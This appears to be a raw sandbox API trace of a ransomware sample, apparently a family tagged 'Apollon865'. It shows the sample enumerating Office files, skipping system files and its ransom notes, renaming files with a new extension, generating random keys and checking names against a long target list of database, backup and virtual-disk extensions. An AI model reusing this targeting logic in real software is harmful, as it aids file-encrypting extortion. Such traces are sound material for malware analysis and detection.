	[0066.784] lstrlenW (lpString="COUPON.POC") returned 10
	[0066.785] lstrlenW (lpString="Apollon865") returned 10
	[0066.785] lstrlenW (lpString=".dll") returned 4
	[0066.785] lstrcmpiW (lpString1="COUPON.POC", lpString2=".dll") returned 1
	[0066.785] lstrlenW (lpString=".lnk") returned 4
	[0066.785] lstrcmpiW (lpString1="COUPON.POC", lpString2=".lnk") returned 1
	[0066.785] lstrlenW (lpString=".ini") returned 4
	[0066.785] lstrcmpiW (lpString1="COUPON.POC", lpString2=".ini") returned 1
	[0066.785] lstrlenW (lpString=".sys") returned 4
	[0066.785] lstrcmpiW (lpString1="COUPON.POC", lpString2=".sys") returned 1
	[0066.785] lstrlenW (lpString="COUPON.POC") returned 10
	[0066.785] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGACCBAR.DPV" | out: lpString1="DGACCBAR.DPV") returned="DGACCBAR.DPV"
	[0066.785] lstrlenW (lpString="DGACCBAR.DPV") returned 12
	[0066.785] lstrlenW (lpString="Apollon865") returned 10
	[0066.785] lstrcmpiW (lpString1="ACCBAR.DPV", lpString2="Apollon865") returned -1
	[0066.785] lstrlenW (lpString=".dll") returned 4
	[0066.785] lstrcmpiW (lpString1="DGACCBAR.DPV", lpString2=".dll") returned 1
	[0066.785] lstrlenW (lpString=".lnk") returned 4
	[0066.785] lstrcmpiW (lpString1="DGACCBAR.DPV", lpString2=".lnk") returned 1
	[0066.785] lstrlenW (lpString=".ini") returned 4
	[0066.785] lstrcmpiW (lpString1="DGACCBAR.DPV", lpString2=".ini") returned 1
	[0066.785] lstrlenW (lpString=".sys") returned 4
	[0066.785] lstrcmpiW (lpString1="DGACCBAR.DPV", lpString2=".sys") returned 1
	[0066.785] lstrlenW (lpString="DGACCBAR.DPV") returned 12
	[0066.785] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGACCBAR.XML" | out: lpString1="DGACCBAR.XML") returned="DGACCBAR.XML"
	[0066.785] lstrlenW (lpString="DGACCBAR.XML") returned 12
	[0066.785] lstrlenW (lpString="Apollon865") returned 10
	[0066.785] lstrcmpiW (lpString1="ACCBAR.XML", lpString2="Apollon865") returned -1
	[0066.785] lstrlenW (lpString=".dll") returned 4
	[0066.785] lstrcmpiW (lpString1="DGACCBAR.XML", lpString2=".dll") returned 1
	[0066.785] lstrlenW (lpString=".lnk") returned 4
	[0066.785] lstrcmpiW (lpString1="DGACCBAR.XML", lpString2=".lnk") returned 1
	[0066.785] lstrlenW (lpString=".ini") returned 4
	[0066.786] lstrcmpiW (lpString1="DGACCBAR.XML", lpString2=".ini") returned 1
	[0066.786] lstrlenW (lpString=".sys") returned 4
	[0066.786] lstrcmpiW (lpString1="DGACCBAR.XML", lpString2=".sys") returned 1
	[0066.786] lstrlenW (lpString="DGACCBAR.XML") returned 12
	[0066.786] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML.Apollon865") returned 73
	[0066.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.787] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2850) returned 1
	[0066.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.788] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.788] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.788] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.788] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe30, lpName=0x0) returned 0xc0
	[0066.790] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe30) returned 0x100000
	[0066.791] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.792] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.792] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.792] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.792] CloseHandle (hObject=0xc0) returned 1
	[0066.792] CloseHandle (hObject=0x15c) returned 1
	[0066.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.793] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.793] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf1300, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ebf1300, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGACCBOX.DPV", cAlternateFileName="")) returned 1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2=".") returned 1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="..") returned 1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="windows") returned -1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="bootmgr") returned 1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="temp") returned -1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="pagefile.sys") returned -1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="boot") returned 1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="ids.txt") returned -1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="ntuser.dat") returned -1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="perflogs") returned -1
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2="MSBuild") returned -1
	[0066.793] lstrlenW (lpString="DGACCBOX.DPV") returned 12
	[0066.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML") returned 62
	[0066.793] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGACCBOX.DPV" | out: lpString1="DGACCBOX.DPV") returned="DGACCBOX.DPV"
	[0066.793] lstrlenW (lpString="DGACCBOX.DPV") returned 12
	[0066.793] lstrlenW (lpString="Apollon865") returned 10
	[0066.793] lstrcmpiW (lpString1="ACCBOX.DPV", lpString2="Apollon865") returned -1
	[0066.793] lstrlenW (lpString=".dll") returned 4
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2=".dll") returned 1
	[0066.793] lstrlenW (lpString=".lnk") returned 4
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2=".lnk") returned 1
	[0066.793] lstrlenW (lpString=".ini") returned 4
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2=".ini") returned 1
	[0066.793] lstrlenW (lpString=".sys") returned 4
	[0066.793] lstrcmpiW (lpString1="DGACCBOX.DPV", lpString2=".sys") returned 1
	[0066.793] lstrlenW (lpString="DGACCBOX.DPV") returned 12
	[0066.794] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGACCBOX.XML" | out: lpString1="DGACCBOX.XML") returned="DGACCBOX.XML"
	[0066.794] lstrlenW (lpString="DGACCBOX.XML") returned 12
	[0066.794] lstrlenW (lpString="Apollon865") returned 10
	[0066.794] lstrcmpiW (lpString1="ACCBOX.XML", lpString2="Apollon865") returned -1
	[0066.794] lstrlenW (lpString=".dll") returned 4
	[0066.794] lstrcmpiW (lpString1="DGACCBOX.XML", lpString2=".dll") returned 1
	[0066.794] lstrlenW (lpString=".lnk") returned 4
	[0066.794] lstrcmpiW (lpString1="DGACCBOX.XML", lpString2=".lnk") returned 1
	[0066.794] lstrlenW (lpString=".ini") returned 4
	[0066.794] lstrcmpiW (lpString1="DGACCBOX.XML", lpString2=".ini") returned 1
	[0066.794] lstrlenW (lpString=".sys") returned 4
	[0066.794] lstrcmpiW (lpString1="DGACCBOX.XML", lpString2=".sys") returned 1
	[0066.794] lstrlenW (lpString="DGACCBOX.XML") returned 12
	[0066.794] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML.Apollon865") returned 73
	[0066.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.820] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=846) returned 1
	[0066.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0066.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.821] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.838] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.840] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.844] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x650, lpName=0x0) returned 0x100
	[0066.850] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x650) returned 0x100000
	[0066.854] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.861] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.877] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0066.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0066.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.878] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.878] CloseHandle (hObject=0x100) returned 1
	[0066.878] CloseHandle (hObject=0x15c) returned 1
	[0066.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x34f0020 | out: hHeap=0x580000) returned 1
	[0066.879] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82ce100, ftCreationTime.dwHighDateTime=0x1c5ffa1, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe82ce100, ftLastWriteTime.dwHighDateTime=0x1c5ffa1, nFileSizeHigh=0x0, nFileSizeLow=0x4b2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGAD.DPV", cAlternateFileName="")) returned 1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2=".") returned 1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="..") returned 1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="windows") returned -1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="bootmgr") returned 1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="temp") returned -1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="pagefile.sys") returned -1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="boot") returned 1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="ids.txt") returned -1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="ntuser.dat") returned -1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="perflogs") returned -1
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2="MSBuild") returned -1
	[0066.879] lstrlenW (lpString="DGAD.DPV") returned 8
	[0066.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML") returned 62
	[0066.879] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGAD.DPV" | out: lpString1="DGAD.DPV") returned="DGAD.DPV"
	[0066.879] lstrlenW (lpString="DGAD.DPV") returned 8
	[0066.879] lstrlenW (lpString="Apollon865") returned 10
	[0066.879] lstrlenW (lpString=".dll") returned 4
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2=".dll") returned 1
	[0066.879] lstrlenW (lpString=".lnk") returned 4
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2=".lnk") returned 1
	[0066.879] lstrlenW (lpString=".ini") returned 4
	[0066.879] lstrcmpiW (lpString1="DGAD.DPV", lpString2=".ini") returned 1
	[0066.880] lstrlenW (lpString=".sys") returned 4
	[0066.880] lstrcmpiW (lpString1="DGAD.DPV", lpString2=".sys") returned 1
	[0066.880] lstrlenW (lpString="DGAD.DPV") returned 8
	[0066.880] lstrlenW (lpString="bak") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0066.880] lstrlenW (lpString="ba_") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0066.880] lstrlenW (lpString="dbb") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0066.880] lstrlenW (lpString="vmdk") returned 4
	[0066.880] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0066.880] lstrlenW (lpString="rar") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0066.880] lstrlenW (lpString="zip") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0066.880] lstrlenW (lpString="tgz") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0066.880] lstrlenW (lpString="vbox") returned 4
	[0066.880] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0066.880] lstrlenW (lpString="vdi") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0066.880] lstrlenW (lpString="vhd") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0066.880] lstrlenW (lpString="vhdx") returned 4
	[0066.880] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0066.880] lstrlenW (lpString="avhd") returned 4
	[0066.880] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0066.880] lstrlenW (lpString="db") returned 2
	[0066.880] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0066.880] lstrlenW (lpString="db2") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0066.880] lstrlenW (lpString="db3") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0066.880] lstrlenW (lpString="dbf") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0066.880] lstrlenW (lpString="mdf") returned 3
	[0066.880] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0066.881] lstrlenW (lpString="mdb") returned 3
	[0066.881] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0066.881] lstrlenW (lpString="sql") returned 3
	[0066.881] lstrcmpiW (lpString1="DPV", lpString2="sql") returned -1
	[0066.881] lstrlenW (lpString="sqlite") returned 6
	[0066.881] lstrcmpiW (lpString1="AD.DPV", lpString2="sqlite") returned -1
	[0066.881] lstrlenW (lpString="sqlite3") returned 7
	[0066.881] lstrcmpiW (lpString1="GAD.DPV", lpString2="sqlite3") returned -1
	[0066.881] lstrlenW (lpString="sqlitedb") returned 8
	[0066.881] lstrlenW (lpString="xml") returned 3
	[0066.881] lstrcmpiW (lpString1="DPV", lpString2="xml") returned -1
	[0066.881] lstrlenW (lpString="$er") returned 3
	[0066.881] lstrcmpiW (lpString1="DPV", lpString2="$er") returned 1
	[0066.881] lstrlenW (lpString="4dd") returned 3
	[0066.881] lstrcmpiW (lpString1="DPV", lpString2="4dd") returned 1
	[0066.881] lstrlenW (lpString="4dl") returned 3
	[0066.881] lstrcmpiW (lpString1="DPV", lpString2="4dl") returned 1
	[0066.881] lstrlenW (lpString="^^^") returned 3
	[0066.881] lstrcmpiW (lpString1="DPV", lpString2="^^^") returned 1
	[0066.881] lstrlenW (lpString="abs") returned 3
	[0066.881] lstrcmpiW (lpString1="DPV", lpString2="abs") returned 1
	[0066.881] lstrlenW (lpString="abx") returned 3
	[0066.881] lstrcmpiW (lpString1="DPV", lpString2="abx") returned 1
	[0066.881] lstrlenW (lpString="accdb") returned 5
	[0066.881] lstrcmpiW (lpString1="D.DPV", lpString2="accdb") returned 1
	[0066.881] lstrlenW (lpString="accdc") returned 5
	[0066.881] lstrcmpiW (lpString1="D.DPV", lpString2="accdc") returned 1
	[0066.881] lstrlenW (lpString="accde") returned 5
	[0066.881] lstrcmpiW (lpString1="D.DPV", lpString2="accde") returned 1
	[0066.881] lstrlenW (lpString="accdr") returned 5
	[0066.881] lstrcmpiW (lpString1="D.DPV", lpString2="accdr") returned 1
	[0066.881] lstrlenW (lpString="accdt") returned 5
	[0066.881] lstrcmpiW (lpString1="D.DPV", lpString2="accdt") returned 1
	[0066.881] lstrlenW (lpString="accdw") returned 5
	[0066.881] lstrcmpiW (lpString1="D.DPV", lpString2="accdw") returned 1
	[0066.881] lstrlenW (lpString="accft") returned 5
	[0066.882] lstrcmpiW (lpString1="D.DPV", lpString2="accft") returned 1
	[0066.882] lstrlenW (lpString="adb") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.882] lstrlenW (lpString="adb") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.882] lstrlenW (lpString="ade") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="ade") returned 1
	[0066.882] lstrlenW (lpString="adf") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="adf") returned 1
	[0066.882] lstrlenW (lpString="adn") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="adn") returned 1
	[0066.882] lstrlenW (lpString="adp") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="adp") returned 1
	[0066.882] lstrlenW (lpString="alf") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="alf") returned 1
	[0066.882] lstrlenW (lpString="ask") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="ask") returned 1
	[0066.882] lstrlenW (lpString="btr") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="btr") returned 1
	[0066.882] lstrlenW (lpString="cat") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="cat") returned 1
	[0066.882] lstrlenW (lpString="cdb") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="cdb") returned 1
	[0066.882] lstrlenW (lpString="ckp") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="ckp") returned 1
	[0066.882] lstrlenW (lpString="cma") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="cma") returned 1
	[0066.882] lstrlenW (lpString="cpd") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="cpd") returned 1
	[0066.882] lstrlenW (lpString="dacpac") returned 6
	[0066.882] lstrcmpiW (lpString1="AD.DPV", lpString2="dacpac") returned -1
	[0066.882] lstrlenW (lpString="dad") returned 3
	[0066.882] lstrcmpiW (lpString1="DPV", lpString2="dad") returned 1
	[0066.882] lstrlenW (lpString="dadiagrams") returned 10
	[0066.882] lstrlenW (lpString="daschema") returned 8
	[0066.882] lstrlenW (lpString="db-journal") returned 10
	[0066.883] lstrlenW (lpString="db-shm") returned 6
	[0066.883] lstrcmpiW (lpString1="AD.DPV", lpString2="db-shm") returned -1
	[0066.883] lstrlenW (lpString="db-wal") returned 6
	[0066.883] lstrcmpiW (lpString1="AD.DPV", lpString2="db-wal") returned -1
	[0066.883] lstrlenW (lpString="dbc") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dbc") returned 1
	[0066.883] lstrlenW (lpString="dbs") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dbs") returned 1
	[0066.883] lstrlenW (lpString="dbt") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dbt") returned 1
	[0066.883] lstrlenW (lpString="dbv") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dbv") returned 1
	[0066.883] lstrlenW (lpString="dbx") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dbx") returned 1
	[0066.883] lstrlenW (lpString="dcb") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dcb") returned 1
	[0066.883] lstrlenW (lpString="dct") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dct") returned 1
	[0066.883] lstrlenW (lpString="dcx") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dcx") returned 1
	[0066.883] lstrlenW (lpString="ddl") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="ddl") returned 1
	[0066.883] lstrlenW (lpString="dlis") returned 4
	[0066.883] lstrcmpiW (lpString1=".DPV", lpString2="dlis") returned -1
	[0066.883] lstrlenW (lpString="dp1") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dp1") returned 1
	[0066.883] lstrlenW (lpString="dqy") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dqy") returned -1
	[0066.883] lstrlenW (lpString="dsk") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dsk") returned -1
	[0066.883] lstrlenW (lpString="dsn") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dsn") returned -1
	[0066.883] lstrlenW (lpString="dtsx") returned 4
	[0066.883] lstrcmpiW (lpString1=".DPV", lpString2="dtsx") returned -1
	[0066.883] lstrlenW (lpString="dxl") returned 3
	[0066.883] lstrcmpiW (lpString1="DPV", lpString2="dxl") returned -1
	[0066.883] lstrlenW (lpString="eco") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="eco") returned -1
	[0066.884] lstrlenW (lpString="ecx") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="ecx") returned -1
	[0066.884] lstrlenW (lpString="edb") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="edb") returned -1
	[0066.884] lstrlenW (lpString="epim") returned 4
	[0066.884] lstrcmpiW (lpString1=".DPV", lpString2="epim") returned -1
	[0066.884] lstrlenW (lpString="fcd") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fcd") returned -1
	[0066.884] lstrlenW (lpString="fdb") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fdb") returned -1
	[0066.884] lstrlenW (lpString="fic") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fic") returned -1
	[0066.884] lstrlenW (lpString="flexolibrary") returned 12
	[0066.884] lstrlenW (lpString="fm5") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fm5") returned -1
	[0066.884] lstrlenW (lpString="fmp") returned 3
	[0066.884] lstrcmpiW (lpString1="DPV", lpString2="fmp") returned -1
